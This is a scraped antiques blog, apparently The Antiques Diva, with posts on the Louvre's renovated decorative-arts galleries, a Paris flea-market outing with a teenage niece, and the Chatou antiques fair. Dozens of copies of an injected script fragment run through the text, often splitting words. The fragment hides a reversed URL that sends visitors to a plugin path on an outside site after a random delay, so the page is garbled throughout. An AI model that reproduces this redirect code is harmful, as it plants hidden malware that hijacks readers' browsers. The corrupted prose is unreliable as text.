Louvre Decorative Arts Gallery in Paris

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>It’s time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to study abroad. No need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to waste time at the La Sorbonne –  it’s time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go study arts and antiques at the Louvre!  I’ve always said that anyone interested in antiques should really spend time indoors at the museums in addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to at the flea markets so they can educate their eye on quality, but now more than ever I encourage you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take my advice!  The Louvre has finally reopened its 18th-century decorative-arts galleries after a nine-year, $35 million renovation during which time this wing was closed. The project was spearheaded by who else? That bastion of French Interior Design – Jacques Garcia!  But Monsieur Garcia didn’t make a dime off the project – he donated his time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Louvre for the love of antiques.

French Interior Design - Jacques Garcia, The Louvre, 18th Century Decorative Arts Gallery, Lessons in Art and Antiques, The Antiques Diva, French Antiques

French Interior Design - Jacques Garcia, The Louvre, 18th Century Decorative Arts Gallery, Lessons in Art and Antiques, The Antiques Diva, French Antiques

French Interior Design - Jacques Garcia, The Louvre, 18th Century Decorative Arts Gallery, Lessons in Art and Antiques, The Antiques Diva, French Antiques

This 23,000-square-foot space has 33 galleries, including 14 period rooms faithfully recreated covering the period from 1660 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 1790.  With more than 2,000 objects spread over 35 rooms consider this the ULTIMATE LESSON in French Antiques! The Louvre’s collection of eighteenth-century decorative art – royal furniture, decorative bronzes, rugs, tapestries, gold and silver ware, porcelain, jewelry and scientific instruments – is one of the richest and most comprehensive public collections of its kind.  Each room is accurately reproduced with pieces only from that period. I’m not only going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go visit the new exhibit myself I’m scheduling an outing for my entire Paris team toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with me this fall!

The Antiques Diva®
(seen here at the Louvre with my darling husband before a gala I attended there one magical night in Paris several years ago)

Antiques Diva at the Louvre, Toma Clark Haines, Paris, Louvre Pyramid,

Pretty in Pink in Paris’ Marché aux Puces de Vanves.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 300px; height: 400px; text-align: center;” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TMmeIcv3AII/AAAAAAAAFM8/MeYDFFjBF6U/s400/pretty+in+pink3.jpg” border=”0″ alt=”” />Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 2px; padding-right: 5px; font-family: times;”>While every client at The Antiques Diva™ European Shopping Tours is special, this summer I had the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to travel with an extraordinary client – my 16 year old niece, Tessa! On her first European adventure I initiated her intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to The Antiques Diva™ Lifestyle by taking her toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my favorite French flea market in Paris – Marché aux Puces de Vanves.

One of the things I love most about my job leading travelers around the flea markets of Europe is what my clients teach me as they introduce me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their passions and collections! Each client inevitably is unique – with a different interest, different hobby and different collections they’re looking toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to add toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to while out and about, shopping in the European flea markets. My 16 year old niece was no exception! With her pink head pulsing thru the market, vendors simply adored her, pointing out perfect Parisian pink treasures for her toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take home. Ever the fashion plate, she picked up this gorgeous 1960’s French silk gown (above) shortly after we arrived at the flea market for a mere 36Euro. It fit as if it were made for her and a few days later she wore it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lunch at Café Marly nearby the Louvre!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 300px; height: 400px; text-align: center;” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/TMmeHp-px_I/AAAAAAAAFM0/BMRnrBM0tMA/s400/pretty+in+pink2.jpg” border=”0″ alt=”” />

She also fell head over heels for these vintage French frames at 12 Euro and sported them around Europe for the next month!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 400px; height: 300px; text-align: center;” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/TMmdwJl7zsI/AAAAAAAAFME/le9XEb-fyHI/s400/121.JPG” border=”0″ alt=”” />

Of course, she was crazy for this Daisy Necklace picking it up for a friend as a souvenir de Paris for 6Euro!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 300px; height: 400px; text-align: center;” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/TMmdx-Z_nNI/AAAAAAAAFMM/C2EV2f2wLSU/s400/122.JPG” border=”0″ alt=”” />

I’m not certain whether it was she or me who noticed the stuffed camel first – but we knew that it said exotic travel décor with a 20 E price tag!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 300px; height: 400px; text-align: center;” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TMmdyzM164I/AAAAAAAAFMU/XsjIyW_-Md0/s400/130.JPG” border=”0″ alt=”” />

She decided against buying this Charlie Chaplin hat for 30E but was sorely tempted by it!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 300px; height: 400px; text-align: center;” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/TMmdux8-CkI/AAAAAAAAFL8/uNvWMrgbGk4/s400/116.JPG” border=”0″ alt=”” />

In general, the French hats were of great interest and we spent a good 30 minutes digging thru this box where all the hats were marked 10E or less!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 400px; height: 300px; text-align: center;” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TMmeHGUwDnI/AAAAAAAAFMs/kNa_5mYXwhw/s400/pretty+in+pink.jpg” border=”0″ alt=”” />

But perhaps the catch that got away was the magnifying glass paperweight. We decided against purchasing it at 45E, but in retrospect perhaps we should have! Where else could she have been framed so perfectly in Paris?

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 400px; height: 300px; text-align: center;” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/TMmeFcxIbhI/AAAAAAAAFMc/cwKgwYgzByc/s400/133.JPG” border=”0″ alt=”” />

After all that hard work shopping, we were ready for a break. So we hit a local café toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have a Diablo Fraise! A Diablo Fraise is a typical drink you’d order on a sunny day in Paris – it’s carbonated lemonade with strawberry syrup that just so happened toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to match Tessa’s perfectly pink hair!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 400px; height: 300px; text-align: center;” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/TMme_xiLtsI/AAAAAAAAFNE/AmT6T8Ef5VQ/s400/pretty+in+pink4.jpg” border=”0″ alt=”” />

When the waiter noticed this, he decided that Tessa would make an ideal art installation on the Parisian streets! And he artfully arranged colored straws in her hair!

Tell me – where else but Paris would a waiter make you intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to street art?

From time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to time I’ve had clients on Diva Tours tell me that their teenage sons and daughters wouldn’t be interested in antique shopping, preferring instead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to antique/vintage shop solo. But I have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell you, my 16 year old niece loved the Paris Flea Market! Tessa found nearly ever souvenir she purchased in Paris at the Porte de Vanves Flea Market – so for your next trip abroad, forget the typical souvenir t-shirts when shopping for a teenager in Paris, consider instead vintage fashion and fun French antique accessories!

Until next time, Bonne Shopping!

The Antiques Diva™
(seen right with The Little Diva – Tessa at the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of the Tour Eiffel)

Paris Travel Files!

Located in the 14eme arrondisment at the avenue Marc Sangnier and avenue Georges Lafenestre, “The Other Paris Flea Market” is located near the Porte de Vanves metro stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; width: 297px; height: 299px; text-align: center;” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/TMmeF3wx9TI/AAAAAAAAFMk/fi9G1RyBV9o/s400/Picture1.jpg” border=”0″ alt=”” />The market is open year round e
very Saturday and Sunday from 8am toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 1pm – though experience tells me vendors aren’t really ready for custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers until 9am, so take advantage of a “late start” and sleep an extra hour before shopping the fleas!

Bonne Shopping, Diva Style!

My Favorite Flea Market — Foire Nationale a la Brocante et au Jambon

our high school French isn’t as rusty as you think it is…. The name of my favorite flea market is indeed It’s held for 10 days starting next weekend Sept. 28 – Oct. 7 in the Parisian suburb of !

Over 800 vendors from “toute de France” come to Chatou, bringing with them the best assortment of antiques I have ever seen in one locale. Held twice a year – in September and March – this market, like almost all French events, is a Parisian tradition dating back centuries! While I’ve always thought the odd combo of selling pork products and antiques was a great marketing ploy to get reluctant husbands to go “brocanting” with their wives, the origins of this market date back to the “Moyen Age”. During Holy Week, pork butchers from all over France came to Paris to sell their products. One enterprising butcher decided that he wanted to “bring home more bacon”. So he started selling not only smoked ham, but the equipment for making it as well, offering his clients “the taste of Chatou year round!” The other vendors caught on to the idea and each started bringing with them more and more items, focusing on specialties from their region, namely furniture, pottery and antiques. Before they knew it, “a festival celebrating both the flea market and ham was born.”

Now, I’m still not certain how this pre-Easter celebration became a twice annual event. But I have an un-substantiated personal theory. In August, “tout de Paris” departs for their month long vacation. This is another tradition started in the Middle Ages when the stench from the annual cleaning of the Louvre’s moat (which has since been filled in) forced the citizens to flee until the gag reflex-inducing cleaning was over. This is where my part of the theory comes in to play. I believe that when the Parisians fled to the country, they found they enjoyed the country life so much that they didn’t want to return. Paris had to do something to lure them back! So I think they used the “Foire aux Lards” (or Fair of the Fats) – as the festival was then called – as an olfactory pied piper to lure them, salivating, back to the city. While this might smell a little fishy, .

What ever reason the festival is now celebrated in the Fall as well as the Spring, The Antiques Diva ™ couldn’t be happier to have the opportunity to shop two times a year – and my purse needs the rest time in between to recover from the inevitable damage I do each time I visit the brocante. If you don’t have time to go to Chatou in the next few weeks, you must definitely plan a trip to Paris in March for their next event! As soon as the dates come available, you’ll be the first to know. And once you’ve visited Chatou, you’ll come back and fall at my feet, thanking me for the introduction to what will soon be called “your favorite flea market”.

But don’t take only my word for it… one of my Roving Reporters has written in with a sensational letter that has simply done my job for me!

So, TTFN from me,

The Antiques Diva and Greetings from Lady Lotus!
(seen right, with she and I flanking the table in the garden of the Paris Ritz. La Reine sits to my right and The Colorado and Tampa Girls are in the center)

—————————————————————————

Dear Antiques Diva –

I almost started crying when I received the invitation to “Chatou” that had been forwarded from our address in France to our new home stateside (sent to me because of my frequent purchases at the fair). What was my husband thinking moving me so far away from the best brocante in the world??? I’m not a huge antique shopper, but for the six years we lived in Paris, I would drop everything when Le Foire Nationale a la Brocante et au Jambon rolled into town.

My home IS Chatou … from the desk I’m sitting at writing this letter (a gorgeous Napoleon III bureau en noyer with black leather top) to the round, marble-topped coffee table where I sat my coffee cup this morning!

I still remember my first time. My friend Roxanne and I took the RER A train 10 miles from Paris Charles de Gaulle station to Chatou-Roissy. We followed the signs to the entrance arriving at a field (3.5 hectares to be exact) of green market tents. I remember thinking that the 40 francs (probably $6 at the time) charged was quite a sum to pay just to go spend more money on stuff I probably wouldn’t like. Well, I’m not sure if it was the smell of smoked ham in the air or the many vendors who answered my poorly-worded novice questions with kindness and smiles, but I fell in love with a 19th century buffet made from cherry wood and walked out feeling richer. Of course, my economist husband pointed out that spending 7,500 francs on it made us poorer, but luckily I couldn’t hear him over the sounds of the piece being delivered into our 16eme arrondissement apartment!

Over the years, I got quite adept at negotiating delivery in the purchase price. That came in handy when I bought a huge cherry wood armoire from the Restauration époque. I know that era isn’t very popular in the antique world, but I absolutely love the simple lines, light colored wood and tiny bronze empire cuffs. The currency had changed by then, so it cost 2,000 euros. Last month, I saw a similar one here in the USA priced at a whopping $10,000.

Of course, I haven’t always bought big stuff. One year I came away with only a silver champagne bucket that was about 50 euros. I hate polishing it, but the decorative lion heads on the side just look superb as they guard my tasty bottles! I also remember another purchase, a small bedside table from the that cost 250 euros. As my husband carried it up the escalator at Charles de Gaulle-Paris, the drawer fell out and bounced all the way down the moving staircase. Luckily no one was hurt (other than my husband’s ears as I yelled at him) and the additional dents just made it look even more authentic!

The last time I went to Chatou, I knew we were getting ready to move back to the USA . So, I scouted out four items I liked – two commodes, a round coffee table and rectangular side board. All four items were topped with black and gray St. Anne marble from the 19th and 20th centuries. I returned with my husband so that he could make the final selection, but instead of narrowing it down to one as anticipated, he negotiated with the vendor to sell us all four pieces for roughly 3,000 euros. I think I laughed for three straight days, but I guess that is proof I won’t be the only one of us that is going to miss shopping at Chatou.

Happy hunting to those of you lucky enough to attend this year! I envy you.

Best Wishes,
Lady Lotus (seen here visiting me in Amsterdam and shopping for vintage fur at Lady Days).

If you have a Chatou Shopping Success Story you’d like to share, please email (and include photos and prices if possible) to